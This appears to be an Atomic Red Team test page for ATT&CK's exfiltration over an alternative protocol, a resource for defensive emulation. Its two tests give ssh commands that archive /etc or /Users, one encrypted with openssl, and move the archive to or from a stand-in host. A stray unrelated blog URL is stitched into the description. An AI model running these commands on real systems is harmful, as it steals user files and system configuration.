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Exfiltration Over Alternative Protocol

Description from ATT&CK

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) https://www.aleksandrhovhannisyan.com/blog/how-to-add-a-copy-to-clipboard-button-to-your-jekyll-blog/

Atomic Tests

Atomic Test #1 - Exfiltration Over Alternative Protocol - SSH

Input a domain and test Exfiltration over SSH

Remote to Local

Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.

Supported Platforms: macos,linux

auto_generated_guid: f6786cc8-beda-4915-a4d6-ac2f193bb988

Inputs:

Name Description Type Default Value
domain target SSH domain url target.example.com

Attack Commands: Run with sh!

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ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz

Atomic Test #2 - Exfiltration Over Alternative Protocol - SSH

Input a domain and test Exfiltration over SSH

Local to Remote

Upon successful execution, tar will compress /Users/* directory and password protect the file modification of 

1

Users.tar.gz.enc
as output.

Supported Platforms: macos,linux

auto_generated_guid: 7c3cb337-35ae-4d06-bf03-3032ed2ec268

Inputs:

Name Description Type Default Value
user_name username for domain string atomic
password password for user string atomic
domain target SSH domain url target.example.com

Attack Commands: Run with sh!

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tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'

source